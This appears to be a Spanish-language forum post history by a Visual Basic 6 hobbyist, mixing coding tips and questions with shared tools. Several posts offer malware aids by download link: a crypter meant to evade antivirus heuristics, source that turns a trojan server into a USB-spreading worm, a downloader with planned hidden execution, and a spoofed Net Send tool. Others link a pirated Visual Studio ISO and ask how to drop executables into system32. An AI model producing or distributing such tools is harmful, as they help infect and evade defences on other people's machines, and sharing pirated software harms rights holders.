Simplemente llamando a la funcion CreateManifest se cambia solo el estilo, pero solo funciona cuando esta compilado...




Ah!! Os doy un pequeño aviso:

Por lo visto los chicos de Microsoft tuvieron algunos problemas :xD, porque resulta, que al poner un optionbutton dentro de un frame se queda de color de fondo negro, asi que, os doy la solucion al problema: Meter los controles con los que os pase eso dentro de un Picture... eso lo soluciona ;D
#104
Bueno, os presento un programa que cifra vuestros proyectos en VB para evitar heuristica y demas. Este programa esta basado en este del que MadAntrax mostro la interfaz:
Necesito opinión sobre una futura GUI
Lo posteo con su consentimiento.



Descripción:
El 'Karcrack Project Crypter' es un programa que cifra strings/cadenas de nuestros proyectos en VB6.0.



Capturas:



Caracteristicas:
  • cifra usando un StrReverse() o un Xor()
  • La funcion del Xor es dinámica, lo que significa que varia cada vez que encriptas un proyecto.
  • Permite seleccionar los ficheros del proyecto que se encriptaran.
  • Permite crear ficheros de respaldo de los fichero modificados.
  • Muestra el progreso de encriptacion de cada fichero, en la parte inferior de la ventana.



    Descargas:
    CitarUploadSourceCode



    Solucionado el error que corrompia algunos proyectos...
#105
Bueno, como dice el titulo con el siguiente metodo puedes obtener tu Ip externa como si del DynDNS se tratara. Lo primero sera subir el fichero *.PHP a un servidor que sea compatible con el PHP.




PHP:
Código (php) [Seleccionar]
/* Esta es una pequeña funcion que devuleve la IP
   Actual siempre y cuando se navege desde el navegador 'karcrack'
*/
<?PHP
$Nav = $_SERVER['HTTP_USER_AGENT'];
if ($Nav == "karcrack")
{
echo $_SERVER['REMOTE_ADDR'];
}
else
{
echo '127.0.0.1';
}
?>


Esta funcion comprueba que el navegador con el que se navega sea 'karcrack', por supuesto esto se puede modificar :xD




VB:
Código (vb) [Seleccionar]
'Esto se pone siempre xD
Option Explicit
'Se declara el Objecto.
Public WinHttp As Object
'Se declaran las constantes para la configuracion del WinHttp
Public Const WinHttpRequestOption_EnableHttp1_1 As Long = 17
Public Const WinHttpRequestOption_EnableHttpsToHttpRedirects As Long = 12
Public Const WinHttpRequestOption_EnableRedirects As Long = 6
Public Const WinHttpRequestOption_UserAgentString As Long = 0
Public Const HTTPREQUEST_PROXYSETTING_DIRECT As Long = 1

'Esta funcion configura el WinHttp con las opciones mas habituales...
Public Sub SetHTTPLib()
    'Se vacia el objecto.
    Set WinHttp = Nothing
    'Se carga el objecto
    Set WinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
    With WinHttp
        'Permite la version del protocolo http 1.1
        .Option(WinHttpRequestOption_EnableHttp1_1) = True
        'Permite la redireccion de https:// a http://
        .Option(WinHttpRequestOption_EnableHttpsToHttpRedirects) = True
        'Permite las demas redirecciones
        .Option(WinHttpRequestOption_EnableRedirects) = True
        'Modifica el Navegador, para que nuestro script PHP sepa que somos notros :D
        .Option(WinHttpRequestOption_UserAgentString) = "karcrack"
        'Desactiva el proxy.
        .SetProxy HTTPREQUEST_PROXYSETTING_DIRECT
    End With
End Sub

Public Function ObIP(ByVal URL As String) As String
    Call SetHTTPLib
    With WinHttp
        'Se conecta.
        .Open "GET", URL
        'Pide la IP
        .Send
        'La obtiene
        ObIP = .ResponseText
    End With
End Function


Bueno, aqui esta todo bien explicado... la funcion se llama de esta forma:
Código (vb) [Seleccionar]
msgbox ObIp ("URL_DONDE_ESTA_EL_SCRIPT_EN_PHP")




Saludos :D
#106
Bueno, estaba en casa aburrido y me puse a juguetear con los SMTP, me di cuenta que algunos SMTP (gmail por ejemplo) al enviarle el HELO* te saludaban dandote la IP, la cual cosa venia muy bien ::)
Pues bueno, me puse a programa y 5 minutos despues ya tenía el programita que sacaba la IP :D
Y pues eso, que lo comparto con vosotros.

Descargar: Codigo fuente incluido.
Citarhttp://snipurl.com/karcrack-23259


*
Protocolo SMTP
Ejemplo de comunicación:
S: 220 Servidor ESMTP
C: HELO
S: 250 Hello, please meet you
C: MAIL FROM: yo@midominio.com
S: 250 Ok
C: RCPT TO: hackerhigueyano@hotmail.com
S: 250 Ok
C: DATA
S: 354 End data with <CR><LF>.<CR><LF>
C: Subject: Campo de asunto
C: From: yo@midominio.com
C: To: destinatario@sudominio.com
C:
C: Hola,
C: Esto es una prueba.
C: Adios.
C: .
S: 250 Ok: queued as 12345
C: quit
S: 221 Bye
#107
Microsoft Visual Studio es un entorno de desarrollo integrado (IDE, por sus siglas en inglés) para sistemas Windows. Soporta varios lenguajes de programación tales como Visual C++, Visual C#, Visual J#, ASP.NET y Visual Basic .NET, aunque actualmente se han desarrollado las extensiones necesarias para muchos otros.

Visual Studio permite a los desarrolladores crear aplicaciones, sitios y aplicaciones web, así como servicios web en cualquier entorno que soporte la plataforma .NET (a partir de la versión 6). Así se pueden crear aplicaciones que se intercomuniquen entre estaciones de trabajo, páginas web y dispositivos móviles.

Información de la descarga:
[Tamaño:]569.52MB
[Partes:]1x300MB + 1x269.52MB
[Formato:]*.ISO
[Lenguaje:]Español
[MD5:]E522D0BECFA5A10D846F994451D3B200
[SHA1:]D9D171A9E477E5CD5493BA9507EFA560BCD956A1
[CRC-32:]5600E555
[Uploader:]Karcrack
[Pass:]VisualStudio6.0Karcrack

Descarga:
Citar
Gigasize:
http://lix.in/c1dcf3a8
http://lix.in/b0c915b1
#108
KFS [Karcrack Fake Send]

Descripción:
Como bien dice el nombre del programa hace envíos falsos, mas concretamente, envía mensajes por red (Net Send) con la posibilidad de cambiar el Emisor (Persona que envía el mensaje).
  • Permite ocultar el programa pulsando [CONTROL]+[K], vuelve a aparecer pulsando de nuevo la misma combinación.
  • El programa se añade al systray (Al lado del reloj de Window$) para mayor discreción, con el icono de 'Volumen'. Para poder mostrar el menú, o poder restaurar la ventana se debe mantener [CONTROL]+[SHIFT]+[ALT].
  • Permite modificar la transparencia de la ventana haciendo doble click sobre las partes vacías del form (los frames no valen :¬¬).
  • Permite seleccionar un PC de la red, mostrando incluso si esta disponible o no.
  • Muestra el progreso de cada acción individual y de la acción conjunta.

Capturas:



Descarga:
http://lix.in/8d3c3bcd
CitarPass:
fire
#109
Source Trojan To Worm v2.0
Como su nombre indica este el el codigo del programa que transforma un troyano¹ en un gusano². Haciendo que el server del troyano se reproduzca infectando memorias USB (PenDrives).
[Capturas]
[Form Inicial]

[Descarga Del Codigo]
Citarhttp://www.box.net/shared/xh8l60i04k
Pass:
CitarByKarcrack



¹
Citar
Se denomina troyano (o caballo de Troya, traducción fiel del inglés Trojan horse aunque no tan utilizada) a un programa malicioso capaz de alojarse en computadoras y permitir el acceso a usuarios externos, a través de una red local o de Internet, con el fin de recabar información o controlar remotamente a la máquina anfitriona.

²
Citar
Un gusano es un virus informático que tiene la propiedad de duplicarse a sí mismo. Los gusanos utilizan las partes automáticas de un sistema operativo que generalmente son invisibles al usuario.


Post del Programa:
http://foro.elhacker.net/index.php/topic,146962.msg915655.html#msg915655
#110
Hoy voy a donar el source de uno de mis "trabajillos" :P.
Es el Karcrack Downloader, he de Agradecer a MadAntrax su codigo en el que esta basado casi todo el programa (He incluso me he "inspirado" en sus themes :rolleyes:). Aqui va una captura:

Para mi proxima version si no me olvido y la hago, añadire la opcion de ejecutar oculto y algunas opciones mas que me rondan por la cabeza ;D.
Aki el link de descarga: http://www.gigasize.com/get.php/3195499535/Karcrack_Downloader.rar

Por favor, hagan comentarios y recomendaciones.
#111
Wenas, como dice el Titulo quiero listar los Pc's que hay en una red con su dominio y todo. A ver si alguien sabe algo.
Gracias anticipadas ;D

Karcrack
#112
Wenas.

Querría saber como se hace para unir los dependencias que tiene el proyecto(ocx,dlls...) con el ejecutable resultante como hizo MadAntrax en el cactus joiner 2.71  (no me llamen envidioso, es que sino tenia que hacer un instalador  :xD ;D)
Gracias:
Código (vb) [Seleccionar]

Private Sub form_load()
for i = 1 to 1000
Msgbox "GRACIAS",,"Agradecimiento:"
next
end sub

(Me hacia ilusión probar el mod GeSHi  :rolleyes:)

Karcrack
#113
Tengo un problema, cuando escribo el codigo de abajo se supone que los elmentos que hay en la lista del form9 se deberian añadir al archivo de texto, pero no se hace, se queda vacio. Prove haciendo que envez de que se escrbiera me los dijera en un msgbox y si que lo hacia. No lo entiendo  :huh:
este es el code:
Citar
dim i
If abIert0 = "1" Then
For i = 0 To Form9.List1.ListCount
Open App.Path & "/x.txt" For Output As #1
Print #1, Form9.List1.List(i)
Close
Next
End If
Gracias.
#114
Wenas.
Me gustaria saber si se puede poner de alguna forma el winsock en escucha al puerto 80 y kuando winsock note algunja conexion que envie datos html.
Gracias. (no se si me he explicado bien)

Karcrack
#115
Wenas.
Como el titulo del post dice mi pregunta es como se utiliza ese control.
Muchisimas Gracias

Karcrack
#116
Wenas
Mi pregunta es si puedo:
Desde mi aplicacion en VB crear un exe que tengo sin tener que usar un joiner ni na por el estilo

Yo he intentado:
Abrir un archivo .exe con escritura binaria(o algo asi) y he pegado los datos binarios. Y me dice que x ahi.
No se si me he explicado. :rolleyes:

Karcrack
#117
Wenas mi duda es si se puede ( y creo que si) descargar un fichero desde un ftp y copiarlo a system32. Habia un OCX  que permitia subir fichero, pero no se como bajarlos. :huh:
Muchas gracias ;D

Karcrack